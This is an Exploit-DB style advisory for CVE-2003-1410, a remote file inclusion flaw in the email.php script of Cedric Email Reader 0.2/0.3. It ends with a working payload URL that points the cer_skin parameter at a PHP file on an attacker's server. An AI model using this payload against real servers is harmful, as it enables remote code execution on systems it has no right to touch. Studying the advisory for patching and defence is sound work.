Exploit Cedric Email Reader 0.2/0.3 - Skin Configuration Script Remote File Inclusion

[Exploiter]

EDB-ID

22241

Проверка EDB

1. Пройдено

Автор

MGHZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2003-1410

Дата публикации

2003-02-09

source: https://www.securityfocus.com/bid/6818/info

It has been reported that Cedric Email Reader is prone to an issue that may allow remote attackers to include malicious files located on remote servers. This issue is present in the 'email.php' script.

Under some circumstances, it is possible for remote attackers to influence the include path for a configuration file to point to an external file on a remote server.

If the remote file is a malicious PHP script, this may be exploited to execute arbitrary system commands in the context of the web server.

It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed. 

http://[target]/email.php?login=attacker&cer_skin=http://[attacker]/code.php